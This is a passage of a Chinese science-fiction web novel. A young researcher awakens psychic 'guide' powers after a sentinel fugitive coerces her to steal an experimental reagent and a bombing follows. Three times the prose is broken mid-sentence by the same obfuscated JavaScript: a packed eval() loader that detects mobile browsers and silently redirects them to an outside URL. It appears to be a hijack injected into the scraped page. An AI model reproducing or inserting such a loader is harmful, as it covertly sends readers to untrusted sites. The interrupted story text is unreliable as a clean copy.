《向导她靠触手机甲横扫星际》 1. 不灭灯塔01 咚 · · · 黑暗如潮，淹没一切。 咚 · · · 她躺在地上，双目紧闭，无法动弹。有温热的液体自身下蔓延，凝固。 冷肃的空气中散发着被烧焦的动物油脂所特有的气味。 她听见自己逐渐缓慢下去的心跳，以及比心跳更响亮的—— 来自四面八方的尖叫。 男女老少的哭声高低起伏地交织在一起，最终混成一股奇异的声线。 前一刻还近在咫尺；下一刻却又好似相隔了亿万光年的距离，变得模糊而遥远，像在吟唱一首早已被忘却的歌谣。 什么也看不见。 当视觉被剥夺，其余感官就会空前敏锐，尽可能搜刮所有信息，如昆虫伸出感知的触角，不断往更远处扩展……以至于一幅奇异的画卷在她脑海中形成。 那是一张以她为中心，向外辐射的密密麻麻的网。 网上散布着许多圆圆的光点，正在向四周移动。越靠近她的越明亮，越远离她的，则越暗淡。 莫名的，她明白这些圆点正在逃跑。 如同被猛兽追赶分崩离析的羊群。 跑吧，跑吧。 离开这里。 离开这个危险诡谲，充满谎言和罪恶的地方…… 与此同时，一个无比醒目的亮点正疾速接近！如同即将爆炸的火球，疯狂地朝她冲来！ 咚—— 危险在即！ 无法动弹！无法逃离！ 冷静和理性似乎消失了。 她牙齿打颤，肌肉痉挛，唇角不受控制地扭曲抽搐。 可当铺天盖地的热浪裹挟硝烟席卷而来时，她心下涌现出的第一念头，竟不是【我要逃】，也不是【要死了】，而是——— “您醒了？” 思绪猛然停滞！！ 她幽幽睁眼。 逐渐清晰的视野边界中，出现一张陌生女孩的脸。 约二十岁上下，脸蛋圆圆，及肩发尾打着卷，眼神清澈。 “真是太好了，云川博士，您比我想象中苏醒得更快。您感觉怎样？有没有哪不舒服？我现在就通知医生过来。” 女孩眼下有一颗黑色的小点，云川起初以为那是一颗痣。 可当那黑点开始移动的时候，云川才发现那竟是一只……米粒大小的蜘蛛。 蜘蛛在她脸上乱爬，可女孩好像对这一切毫无所觉。 “放心，云川博士，胁迫您的歹徒已经自戕，您现在非常安全。” 蜘蛛就要爬到她的嘴里了！ 云川挣扎得动动手指。 然而下一秒，蜘蛛消失了。 脑内交替闪现的混乱记忆令她眼前发黑：“这……是……哪……？” 女孩：“这里是瑟银星第一中心医院。我叫乔琳，是来自瑟银圣所的接待员，您可以叫我……” “……乔小姐。” 云川闭上眼睛，声音沙哑的可怕：“我怎么了？” “看我，见您醒来就高兴忘了正事。”乔琳一拍脑袋。 “是个好消息呢。” “云川博士，您觉醒向导啦！恭喜您呀。” 云川打量着自己所处的单人病房。 宽敞，整洁，空气中隐隐有消毒水的气味，但并不难闻。 考虑到病人需要休息，灯光也调整到睡眠模式，一切都很舒适。 她请求乔琳拉开其中一扇窗户的遮光帘。 阳光穿过白色纱帘，在屋内昏暗的地板上留下一片金色的亮痕，也照亮漂浮在空气中的尘埃。 即使医院的清洁机器人每天都在兢兢业业地工作，但还是无法完全消除这些被微风或者人类携带进的细小粒子。 ……蜘蛛不见了。 云川想。 第一中心医院单人病房的隔音本该很好，可云川就是听见了不知从哪传来的新闻播报声。 那声音强硬又清晰地钻进耳朵，重重叩击耳膜。 “……银河纪3128年11月28日上午9点50分……天琴座瑟银星……艾伊尔创新研发中心发生一起重大爆｜炸事故……2人死亡，35人受伤……” 云川瞳孔骤然紧缩，脑中闪过一双藻绿的眼睛，以及一只狠扼住她脖颈的手。 该死，头好痛。 脖子也痛。 云川确信自己的记忆出现了问题。因为她竟然想不起那双眼的主人是谁。 她直觉这和新闻中的爆炸有关，可她不记得。 深呼吸。 回忆。 失败。 病床前，乔琳脸上浮出一丝激动的红晕：“成年后还能觉醒精神力的人放眼整个帝国都非常少见！尤其还是当下最稀缺的向导……该说您不愧是二十岁就拿到博士学位的人吗？头脑真是不错，而且只昏迷半天就醒了！”乔琳眼里满是小星星，“难怪艾伊尔公司会如此舍不得您走！您真厉害！” 云川头痛欲裂，下意识问：“……什么？” 艾伊尔公司……？为什么舍不得？她为什么要走？ 作为“艾伊尔青少年培养计划”的参与者，云川自十岁起就成了艾伊尔公司的见习生，是同期中年龄最小的一位。 艾伊尔公司是帝国乃至星际都闻名遐迩的超强企业，是以，云川从小猛猛学术，狠狠科研，狂发期刊，终于在拿到博士学位后结束了自己长达十年的见习生生涯，成功出道……不，成功转正，成为艾伊尔公司生物科技制药实验室的科研人员之一。 她才转正一年啊，事业正在上升期！走什么走！ 等等。 云川突然明白了。 她忽略疼痛的喉咙艰难开口：“……我的精神力评级……是几级？” “鉴于您在此次危机中展露出的天赋，圣所初步估计——” 乔琳捧着脸颊，笑容如梦似幻，“您有成为A级向导的潜质！虽然具体的评级还得在您身体完全康复后再进行检测，但我保证绝对在B级或以上。您可是我入行以来见过精神力最高的向导了！您用精神力延迟了歹徒自爆，疏散了整个创研中心的人！” 精神力评级从高到低依次为S、A、B、C、D、E、F、G等八个评级。 帝国法律明文规定，所有觉醒者觉醒后——无论哨兵向导——都必须进入圣所进行初步训练和测试，并会有专门的接待员负责记录各项方面的数据，以便后期分配管理。 当了二十一年普通人的云川不太清楚这方面的情况，但她隐约听说过圣所会举办类似毕业考核的项目。 考核通过的D级及以上的觉醒者会升入更高层级部门，接受更复杂的培训。 D级以下的去向则多种多样，有选择留在圣所的，也有回归普通生活的。 目前云川非常明确的一点是，已经觉醒成为向导的自己，无法再在艾伊尔实验室任职。 她的身份信息，过往履历，家庭关系，在她觉醒的那一刻，就已被锁定为加密档案。 这份档案或许会有解锁的一天，或许再也没有。 ……希望艾伊尔公司能给她提前结一下年终奖金。 一会后，医生赶来。 “虽然医疗舱已经治愈了你的大部分伤势，但由于你之前从高处坠落，导致脑部受损。”医生说，“放到其他人身上，这本该是处致命伤。但幸好，自动竖起的精神屏障替你抵御了绝大部分冲击。所以最后呈现的结果也只是脑震荡而已。” “你可能会感觉头痛、呕吐、意识模糊、近事遗忘，这都是脑震荡后遗症。你可能也会时常感觉精神不济……觉醒者初期都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068137|163113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此。不要担心，好好休息，我们医院会时刻关注你的情况，圣所也会从旁协助的。” 医生说到这里，顿了顿。之后，她拉下口罩，露出一张疲惫、严肃、法令纹明显的脸庞。 “最后……我需要向您道谢，云川博士。” 云川望进医生的眼中，困惑地偏了偏头：“我不明白……” 医生：“如果当时不是您用精神力控制住那名歹徒，为救援争取足够的时间……损伤会更加惨重。我的孩子今早在艾伊尔创研中心参观……只差一点，我就再也见不到她了。” “真的万分感谢您。” 医生重新戴上口罩离开了。为了不打扰云川休息，乔琳也亦步亦趋地走了。 遮光帘被再次拉下，只剩角落里医疗服务机器人的摄像头一闪一闪。 云川非常疲惫。可在她闭上眼的那瞬间，心头莫名一跳。 这种差一秒赶不上截稿日期的不祥感是怎么回事。 难道又又又忘了什么重要的事情吗？…… 云川在不安和焦虑中，选择不安又焦虑地睡着了。 迷糊中，她好像听到有人风风火火冲进病房，抱着她哭喊了声“宝宝！”。 语调之凄厉令云川浑身不由猛得一颤！ ——就是这个！ 然而，很快，睡意漫涌。 云川的意识就如被丢入海里的秤砣，不断下坠，直到坠入一片密闭狭小的空间。 ——时间倒流至爆｜炸发生三十分钟前。 艾伊尔创新研发中心 实验楼某高层洗手间隔间内 云川的手狂乱地四处摸索，竭尽所能寻找一切能抓住的东西。 她的指尖就要接近墙壁上的呼叫按钮，可却在即将触碰到的最后一秒钟，被人用力地撞开！ 那人只用单手就捉住她的双腕，将它们反拧向身后，同时按着她脑袋往墙上狠狠一撞！ 霎那间，天旋地转。 疼痛让云川镜片后的眼眸迅速积蓄生理性的泪花。 但眼前的闯入者却不会因此产生任何怜悯——他粗暴地将大腿推到她的双腿之间，把她钉在自己身体和墙壁的夹角里，狠狠掐着她的脖颈。 “不要乱动。”他冷冷告诉云川，“配合一点，否则所有人都得死。” 她浑身僵硬，咬牙没有发出痛呼。 可眼泪还是从紧闭的眼角簌簌落下，将歹徒大腿上的布料打湿。 他用另一只手捏住她的下巴，强迫她抬头。 “睁开眼睛。”歹徒紧贴在云川耳边道。 “不…我不想。”云川十分抗拒。 “睁开你的眼睛，我不想再重复第三遍。” “看着我。”他命令。 他的身躯在狭窄的小隔间里存在感是那么强烈，几乎遮住所有的光。 云川不得不与他对视。 他的眼球布满血丝，虹膜颜色如同潮湿的霉斑。云川的视线刚接触那抹藻绿色，耳道中就涌进某种黏腻咸湿的潮声。 “不要试图逃跑，不要试图呼救，不要试图说谎。从现在开始，你的一切都按照我说得去做。如果你拒绝合作，我会杀了你的同事，你的家人，然后是你；如果你想要报警，那我会咬定你是我的共犯，你照样会死，明白了吗？” “你想要我做什么？”云川只看了他一眼就立刻垂下眸子，嘴唇发抖。 “我对你们公司正在研发的TTSD试剂很感兴趣。” “我不知道你在说什么！” “说谎！你是这个项目的主要研发人员！” 脖子上的力道愈发大了，云川呼吸困难，无法挣脱。 “……我知道你们已经做出成品了。” 对方双眼紧盯着她，像蛇凝视青蛙。 “我要你把TTSD试剂偷出来，云川博士。” 2. 不灭灯塔02 ……偷样品？ 这人说什么疯话！ TTSD是艾伊尔公司正在研发的一款新型试剂，旨在不影响健康的情况下，最大程度开发人类大脑，提高身体素质。 这样重大的项目，背后自然有更庞大的力量在支持，不容闪失。 因此，所有参与者都签署了保密协议—— 一旦违约，等待他们的将会是巨额罚款、无期徒刑甚至死刑。 他是从哪得到消息的？ 实验室内鬼泄密？ 云川想到最近频频出错的实验数据。 是的，云川早就怀疑实验室有内鬼在蓄意干扰实验。 可从结果来看，内鬼的所作所为扰乱甚至阻碍了TTSD的研发，和这个歹徒想要得到TTSD的目的背道而驰。 这家伙一定有其他消息渠道。 他穿着安保服，可他真是安保员吗？ 看这结实的体格和凶悍的身手，这人身份绝对不简单！ 杀手？星际海盗？还是雇佣兵？ 镜片后，云川浓长的睫毛垂下来。 “我做不到。” 她直接投降。 “我的权限不够资格进入样品储藏室，你抓错人了。” 他该去威胁董事长或实验室主任，只有他们才有密码。 谁知歹徒闻言反倒勾了勾唇角。 他默不作声打开光脑，在云川眼前一晃了晃。 “你！”看清上面的内容后，云川镜片后的眼镜睁大了。 “截至目前，你的养父母还是安全的。但之后就要看你的表现了，小博士。你说，你老爸老妈的跃迁航班待会能准点着陆吗？他们这次旅游买的伴手礼可真多，一定有好些都是专门给你的吧？啧，明明是个孤儿，你的命怎么这么好？” 云川盯着他，只见这人嘴角挂着残忍的笑容。 “……TTSD目前才刚进入临床试验初期阶段。”她阴着脸说，“其安全性、人体对其耐受性以及药代动力学特征都尚未有定论，冒然使用风险很大——” “这就不是你该管的事了，小博士。” 歹徒松开掐她脖子的手，满是老茧的拇指摩擦过她的下巴。然后，他用手背拍了拍她的脸。 这次他的动作很轻，但脸颊边响起的细小“啪啪”声却充满侮辱的意味。 “手放干净点。” 他以为是在拍狗吗？云川用力打开他的手腕。 “俘虏不配拥有人权。” 歹徒嘴角一咧，露出一颗尖牙。在云川还没反应过来的时候反手将她的脸按在墙上，而他自己则紧紧压住她的后背。 “你不可能反抗得了我，小博士。听话点，嗯？”歹徒在她耳边说。 云川的脸贴在冰冷的墙壁上，眼镜被挤歪了。 这是非常明显的暴力恫吓，且蓄谋已久。 为什么是她呢？ 论软肋，实验室里不乏有家庭幸福美满的同事；论权限，项目有更高级别的负责人；论资历，上有老前辈，下有刚来不久的实验助理，无论从哪方面看，她在其中都不算显眼。 噢，她最年轻倒是真的。可年龄是被针对的原因吗？ 正在这时候，歹徒突然一手紧紧捂住她的嘴，一手迅速按下马桶冲水键。 “刷啦啦——” 水声掩盖了云川挣扎时发出的窸窣声，不一会，有人进了洗手间。 云川浑身紧绷。 只听来人脚步匆匆飞入隔壁，猛地关上门！ 紧接着，雷鸣般的噼喱噗嗤声响起，高浓度吲哚的气息四下弥漫，称得上气势磅礴，一泻千里。 云川和歹徒同时闭眼屏息，沉默听着隔壁蹿稀。 云川恨不得隔壁拉一辈子肚子。 不过…… 他怎么知道会有人来厕所？他听见脚步声了？五感如此敏锐…… 难道这人是哨兵？！ 如果是，就不难解释他为什么会盯上TTSD，如此大胆地潜入进来。 一些对力量追求极端的哨兵确实会注射药物强化能力。 云川和他贴得很近，她能感受到安保制服下对方坚实的肌肉。 他的体格将制服撑得很满。 更重要的是，他好像没有携带武器。 起码她在这么近的距离下都没有发现匕首，枪械或炸|药的武装痕迹。 他甚至连安保最基本的防|暴棍都没有戴，伪装得十分敷衍。 艾伊尔创研中心的安检非常严格，常人根本无法携带违禁品，这种情况下，安保员反而是最理所应当持有武器的。 他却不用。 要么是对自己的能力过于自信，要么留有后手。 考虑到对方所掌控的关于TTSD和自己家庭背景的情报，云川更倾向后者。 那么问题来了，他的后手是什么？ 云川怀疑，他是接受过专门战斗训练的哨兵，且精神力评级至少在D级以上。 D级觉醒者的精神力已经能够对物质世界造成实质影响了，包括但不限于感知、操控、防护以及攻击。 只有这样才能解释他为什么一副有恃无恐的拽样。 可他是哪一种？她又该怎么办？难道真的任其威胁去偷样品吗？ 就算真偷了，然后呢？ 这时，隔壁响起冲水声。 蹿稀结束了。 云川听着脚步声从隔壁走出，最后离开，心情悲愤交加。 想不到带薪拉屎居然带来了生命危险！ 直到确定对方走远，且没有下一个人进来的时候，身后的歹徒才终于放开云川。 “你有一个小时的时间。”他冷冷说，“样品存储室的密码我会破译，你需要做的，就是拿到TTSD。” 云川：“我该怎么和你联络，用光脑吗？” 歹徒轻蔑地看她一眼：“到时候你就知道了。” 看来对方打算直接入侵她的精神。 “等一下。”云川猛地抓住他的胳膊，“那把东西给你之后呢？我怎么办？我会坐牢的！” 白皙修长的手指在纯黑的布料上尤为刺眼。 歹徒危险地眯起眼睛，居高临下俯视眼前这个和她的身份相比过于年轻的女人。 她原本扎得整齐的黑发因为方才的挣扎散落几缕，垂在颊边；椭圆眼镜歪着，镜片后眼尾上挑的眼眸慌张地望着他，瞳色浅淡的眸子蓄着泪水，晶莹剔透的，看起来很可怜。 他突然笑了：“别担心，小博士。就算入狱，你也不会在那待太久的。” 说着，歹徒侧身让出门的位置，举手投足竟有点风度翩翩的意味。 这死装男什么意思？ 云川本想扶正眼镜，可她一时气极，眼镜不慎掉落。 对方却敏捷地一手把眼镜捞起，丢回她怀里，举止行云流水。 更气了！ 云川捏着眼镜，默不作声去洗手池洗了把脸。 抬头时，镜子里的男人正一眨不眨盯着她。云川只和他对视一秒就迅速低头移开目光。 两人前后脚走出洗手间，没人注意他们。 不知发生什么，云川看到几个安保人员面色严肃匆匆离去。 她的光脑也时不时弹出信息，可她没有心情查看。 手中眼镜腿冰凉的触感，令云川微微失神。 歹徒或许真的安排同伙在监视她的父母，可是现在，她身边只有他一个人。 过度思虑只会产生更大的恐惧。恐惧带来迟疑，流逝的每一秒，优势和主动权都正在向对方倾斜。 是时候做出选择了。 她猛地掰断眼镜腿，转身时将眼镜腿的尖端狠狠扎进歹徒的太阳穴！ 大概对方也没料到云川竟会如此破釜沉舟，一时不查，居然真被她击中了！ 鲜血迸溅在云川的椭圆镜片上，云川拔腿就往刚才真正的安保员离开的方向狂奔。那是她所在的实验室！那一定出事了！但正好—— 她为艾伊尔公司抛头颅洒热血这么多年，公司也是时候站出来守护自己的员工了！ 这就叫互利共赢，风险平摊，资本家活该有疯子收！ 云川狂按走廊上的警报装置，一边联系父母。 然而，平时通畅无比的信号今日却意外卡顿，通讯好半天都无法接通。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068138|163113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 按道理，他们的跃迁航班此时还没起航，不可能没有讯号—— 云川的心突然猛地一紧！ 一种……十分难以言喻的危机感从心脏开始迅速蔓延至全身，让她原本准备迈向前方的脚步，竟僵在原地。 【停下！】 脑海中突兀闪现这个想法。 【不要前进！】 时间在此刻仿佛被无限拉长，眼前发生的一切都变得缓慢至极—— 在云川停住脚步的刹那，前方阴影处倏地扑出一条灰绿色的巨蛇，狰狞血口毒液喷溅，牙齿精准地冲她咬来！ 云川堪堪躲过，滑倒在地，可巨蛇又是一个闪击！ 千钧一发之际云川只能跪地后仰，她的身体就像被霜雪压弯的树枝一般和地面呈现出几乎九十度的夹角。 她眼睁睁看着巨蛇的腹部贴着她的脸碾过，然后—— 消失了——！ 巨蛇是精神体！ 云川猛然恍悟，可此时一根长满倒刺的电鞭从后如鬼魅般紧紧缠绕住她的脖颈，并用力一甩，直接撞碎玻璃将云川吊挂在了实验楼外！ 轰！！！ 闪着光的玻璃碎片扑面而来划破云川的皮肤。 剧痛中，她看见无数个自己面孔被勒得青紫的反射。 也就在这瞬间，她的眼前出现了一只黑色的蜘蛛。 蜘蛛爬出她的眼眶，无视引力地浮空，向电鞭挥来的方向极速爬行。 而她的目光也随蜘蛛而去。 她“看见”，电鞭被一只布满灰绿色黏液的金属手臂紧紧握着。 那黏液好像是活的，不断在歹徒身上蠕动，所过之处均覆盖上一层坚硬泛着冷光的，宛如蛇鳞般的盔甲。 太阳穴的伤口被黏液包裹，歹徒藻绿的眼睛充满杀意。 此时云川终于明白，原来这才是歹徒真正的后手。 那会呼吸的黏液分明是生物机甲！ 难怪如此有恃无恐…… 云川双眼翻白，几乎窒息。 可当“视线”瞥见对方太阳穴上不断蠕动的黏液时，她因缺氧而混沌不已的大脑骤然清醒！ 仿佛被唤醒本能，她贪婪地“望”着那黏液！ 有什么肉眼无法观测到的物质，从云川体内缓缓溢出，轻柔地包裹住几乎将她勒死的电鞭。她的耳边似乎响起了温柔的歌声，来自很远很远的地方。 【融化影子……】 似乎察觉自己正被莫名物质裹缠，电鞭表面绿光一阵爆闪，开始疯狂抽搐摇摆！ 【夭亡身躯……】 黑色蜘蛛悄无声息，灵巧钻入鳞片缝隙。 “啊！！！” 原本正欲上前的歹徒脚步一顿，而后倏地双膝跪地，松开紧握电鞭的手，捂着脑袋发出惨叫。 而乍然失去牵引力，原本吊挂半空的云川就这样从高空坠落—— 【粉碎精神……】 云川的身体重重摔在地上。身下的玻璃碎片闪闪发光，好像欲展的蝶翅。 一只受到惊吓的乌鸦振翅飞翔，漆黑的羽毛打着旋儿落在她的脸上。 可她的眼里没有这一切。 这一刻，云川的视野穿透所有的阻碍，直直对上歹徒那双狂乱转动的眼。 【触及一切初始的圆心，呼唤不——】 “宝宝？” 呼唤什么……？ 也许是室外信号比较好，原本无论如何都没法反应的讯号终于被接通，响起熟悉的嗓音。 云川看着光脑自动投射出的，通讯显示屏另一头的中年男女，有点迟钝地眨了眨眼睛。 第一次遇到这种快死掉还要和家人视频的情况，有点尴尬，有点不知所措。 ……是不是该笑一下？ 可她还没来得及调动面部肌肉，只听通讯那头发出两重尖锐爆鸣！ “宝宝——！” “小宝——！” 惊恐的惨叫刺痛耳膜，云川从睡梦中惊醒。 她下意识握住正抚摸自己脸颊的手。 “……妈咪。爸爸。”云川虚弱地捏着自己沙哑的嗓音，努力柔弱道，“我渴了。” 3. 不灭灯塔03 云川用脸蹭了蹭封莲的掌心。 席长荣起身：“爸给你倒水。” 封莲看着女儿亲昵的小动作，心中焦虑终于散去一些。 没人能体会这种父母隔着屏幕看到女儿倒在血泊中的痛苦，尤其他们那时还刚好处于回家途中。 万幸的是，她的孩子很坚强，成功在危机中活了下来。 “宝宝。”封莲将云川的脸翻来覆去地看，一眼又一眼，怎么也看不够，“你瘦了。” 云川想说自己重了两斤。 可觑见封莲的脸色，她还是识相地将这话咽了下去，开始在封莲面前装可爱。 “当然瘦了，呜呜，谁让我已经快两个月没吃到妈咪亲手做的菜了。营养剂什么的，和妈咪的手艺完全不能比。” 虽然此时她的嗓子哑的可怕，听在封莲耳朵里，依旧和百灵鸟一个样。 封莲探了探她的额头：“想吃什么，回去妈咪给你天天做。” 云川点头，见她说话神态还算正常，不由松了口气。 席长荣把试过温度的水拿了过来，侧坐在病床上，一口一口喂着云川。 云川嗓子烧得要命，很快喝完一杯。 “爸爸……” 云川张了张嘴。 席长荣立刻焦急地倾身，附耳过去：“怎么了小宝？想要什么跟爸说。” 云川：“……你坐我手上了。” 席长荣在封莲的怒目下腾得起身。 他就说怎么屁股硌得慌呢。 这时，病房门被突然敲响。 没等他们开门，门就被从外打开一条缝，一上一下钻出两颗脑袋。 “老席，晚上好呀。”上面那颗毛茸茸的脑袋道，“小云川醒了莫？” 云川和封莲同时看了过去。 “莲师好。”下面那颗脑袋呵呵一笑，露出一排整齐的白牙，在昏暗的房间中简直闪闪发光，“局里让我俩过来问问情况……呀，小云川醒了呀？——您二老给个方便呗？” 封莲哼了一声。 “进来吧。” 封莲站起身，朝席长荣抬一抬下巴，“我们两个退休的先出去，不打扰他们办案。” 两颗脑袋异口同声道：“我们顶多占用二十分钟时间。” 席长荣：“该问的话就问清楚，别管时长。我还指望你们把案子查清楚，还我小宝一个公道呢。” 说着，他和封莲对视一眼，一同将角落里的医疗机器人驱赶出去，带上了门。 房间里一时间静了下来。 云川看着两人，等着他们开口。 三秒钟后，寸头女人先说话了：“你好，小云川。我们是帝国调查局的调查员。这是我们的证件。我是沈慧。” “我是陈妙妙。”那个牙齿白到发光的男人说着，对她挤了挤眼，“好久不见？” “好久不见……慧姐，妙哥。”云川看着他们，“你们想问什么就问吧。” “这不是得走流程莫，免得你回头嫌姐姐哥哥们不正规。” 沈慧坐在床边，很仔细地看她。 “身体好些了莫？还疼莫？我早上来看你的时候，你还泡在医疗舱里呢，脸色刷白刷白的，可吓死我了。” 云川：“嗯……还活着。” 陈妙妙笑道：“活着好，活着好，活着能给我们录口供。” 沈慧用力捶了他大腿一下，陈妙妙马上改口：“哈哈，是录[口录]。你口述，我记录。小云川，你是艾伊尔创研中心爆|炸案的当事人，请你给我们讲讲当时发生了什么。就从你遇见那名歹徒时说起吧。” 云川：“我是在去厕所的路上和他碰到的。当时我们面对面路过，我看他穿着制服，以为他是安保员……” 云川将自己回忆起的告诉了慧妙二人。 当然，因为保密协议，她没透露TTSD试剂的消息，只说那是公司正在研发的新药，陈妙妙对此表示理解。 沈慧却蹙眉：“你的记忆还停留在坠楼的那一刻。之后发生的事情，你一点也想不起来了吗？” “是的。我只记得那家伙松开鞭子，我掉了下去。”云川说，“但医生告诉我，我当时用精神力控制住了对方。” “没错。”陈妙妙点头，“对方携带了生物机甲，如果不是你及时断开他和机甲之间的精神链接，延迟爆炸时间，后果不堪设想。” 沈慧沉吟片刻后说：“你不记得，可能是因为你当时正处于遭遇巨大伤害后的应激状态。你的精神力会本能地保护你，抵御来自外界的攻击。而当时，你所面临的最大威胁，就是那名歹徒——以及他准备自爆的机甲。” 说到这，沈慧微微一顿，看她的眼神带了点复杂，“不过，即使在那种情况下……你还是给创研中心的人下了集体逃生的精神指示，该说不愧是向导吗？” 云川沉默了一会后问：“歹徒为什么自|爆？” “如果我真的控制住了对方，为什么他还会这么做？难道说……是我让他这么干的？” “当然不是。你怎么会这么想？”陈妙妙诧异地看着她，而后一拍手，“噢，忘了和你说，这家伙，不正常。” 云川：“？” 沈慧：“你应该也发现他是哨兵了吧？也对，多么明显的特征啊，五感敏锐，异常强壮，尤其是……那台生化机甲。” 沈慧叹了口气，指了指太阳穴的方向，“可他的精神状况非常不稳定。实话告诉你，小云川，就在两个月前，他杀死了自己的向导。而且在此之前，他就已经多次展露过自毁倾向。” 陈妙妙补充：“觉醒者不像普通人。对于哨兵来说，已经精神结合的向导几乎等同另一半生命——没有正常的哨兵会杀死自己的向导。除非他疯了。” 云川回忆起对方那条巨大的黑曼巴蛇精神体，嗓音干涩：“他究竟是谁？” 沈慧：“我不能告诉你他的名字。” 沈慧沉吟：“你只需要知道，他是一名星际通缉犯，已经死亡，确认自杀。” 云川：“那另一个人呢？新闻里说，这场事故中共有两名死者。一个是通缉犯，另一个是谁呢？” 如果她的精神力真如他们所说这么强悍，又能牵制歹徒，又能疏散人群，为什么还会有第二名死者？ “是和你同一个实验室的研究员，湛信芳。” 云川一愣。 她脑海中顿时浮现出一张消瘦的长脸。 她倏地想起什么，抖着手指打开光脑。 后台消息早已爆满，充满了得知艾伊尔创研中心出事后前来慰问关心的留言，可她只是匆匆略过这些，专注地寻找她想要的那一个。 来自好友[烧杯煮面]的未读消息： [昨天|22：03] ——串啊，我觉得你之前的怀疑方向是正确的。一定有人在实验材料中做了手脚，否则印迹结果不可能突然反复出现额外条带。 [昨天|23：45] ——我说服明姐，偷偷在实验室安装了两个隐形摄像头。嘿嘿，你说能拍到幕后黑手吗？ [今天|01 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068139|163113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：38] ——串啊，你为什么不回我？你睡了吗？才几点你这个年纪怎么睡得着？ [今天|9：28] ——操，串你去上厕所怎么不叫我？ [今天|9：32] ——串！速来！幕后黑手抓到了！！！是信芳！我操，她不是实验室老研究员吗，怎会如此！ [今天|9：33] ——你掉马桶里了？摄像头拍到湛信芳往培养基里兑酒精了，难怪细胞全飘了都被腐蚀了能不飘么？不是我说这作案手法也太老套了吧！ ——[语音·15s] 云川将语音转成文字。 [烧杯煮面]：安保员来了！好快！直接给人擒拿住了，哎，不知道她为啥这么做。这可是蓄意干扰重大项目，要坐牢的！啊，警报怎么响了？ “……湛信芳蓄意破坏你们公司实验项目的事情败露后，安保团队本想将她押送警局，但正巧撞上那名通缉犯自爆。在所有人都忙着紧急逃生的时候，湛信芳挣脱束缚，扑向了爆|炸的中心，因此丧命，成为整场事故的第二名死者。” 沈慧说：“这就是这场爆|炸案的结局。” 她看着脸色依旧苍白的云川，叹了口气。 “小云川啊……” 沈慧拍了拍她的手背，语重心长地说，“大难不死，必有后福。你不要想太多了，养好身体才是最紧要的。知道莫？” “我知道的，慧姐。”云川轻声说。 “这几天好好和莲师、老席相处。他俩快给你吓死了。”陈妙妙胆子很大地揉乱她的头发。 云川瞪他。 陈妙妙只装不知道：“局里会派人手来保护你们的。这通缉犯连他们在跃迁航班上的视频都有，一定还有同伙。我们会把人全部揪出来！” 云川原谅了他对自己头发所做的非分之举。 该问的都已经问完，两人看了眼时间，果然还没到二十分钟，手不由在身后得意地相互碰了碰。 临走前，沈慧叫了声云川。 云川：“慧姐？” 沈慧：“圣所的人正在和艾伊尔公司讨论你的解约问题，不出三天，你就能得到具体的结果。听说你的精神力在B级左右？不出意外的话，只要你顺利通过圣所的考核，就能进入【灯塔】深造。以你的聪明才智，我想……” “也许，我们将来会有合作的机会噢！~” 沈慧对她眨了眨一边的眼睛，笑着离开了。 云川的原配眼镜早在坠楼时就被摔碎。但封莲给她准备了新的，和这两名调查员谈话时，她就戴着新眼镜。 现在，云川摘下眼镜。 一墙之隔的走廊上响起陈妙妙含糊的低声：“……你觉得小云川有没有说谎，或者隐瞒什么信息呢？” 属于沈慧的声音过了一会才回应道：“起码就目前我们掌控的情况看来，她没有说谎的理由。她是最大的受害者。” “好吧，确实如此……她也是万幸觉醒了……否则莲师和老席就又……” 他们边说边走远了。此时昏暗的病房里终于只有云川一人。 她周围的温度，也随着逐渐消失的脚步声一点点冷却。 所有在人前虚弱、茫然、柔软甚至无辜的神态，此刻全部褪去。 云川面无表情凝视着天花板，眼睛嵌在脸上，就好像两道漆黑的神秘陷阱。 黑曼巴哨兵真的死了吗？ 以及，觉醒时听到的那首歌谣，是什么？ 她不记得了。 4. 不灭灯塔04 沈慧的话没错，三天后，云川果然收到了解约合同。 艾伊尔公司爽快地将工资，奖金，精神损失费和工伤赔偿金等款项一并打入云川账户。 这让云川有些惆怅。当了十年见习生，好不容易转正，结果才干了一年就得离开了。 老东家给的报酬太可观，就这么放手好心痛！ 为什么不能停薪留职呢？万一她以后还回去呢？ 然而—— 这是不可能的。 帝国法律规定，所有觉醒者在觉醒后都需要先去圣所报道，服从圣所安排。圣所让她离职，她就得先离职。 考虑到云川的身心健康，圣所给了她一周时间用以修养。 云川从没感觉时间过得这么快。在爸妈家享受了一周衣来伸手饭来张口的半瘫痪生活后，终于，她不得不去报道了。 云川：“我爱你们，妈咪，爸爸。我会很想你们的。” “妈咪也爱你想你。”封莲非常用力地抱了她一下，摸了摸她的头顶，然后松手。 “去吧，小宝。”席长荣说，“好好训练，平安归来。” “我会的。” 云川深深望着他们。 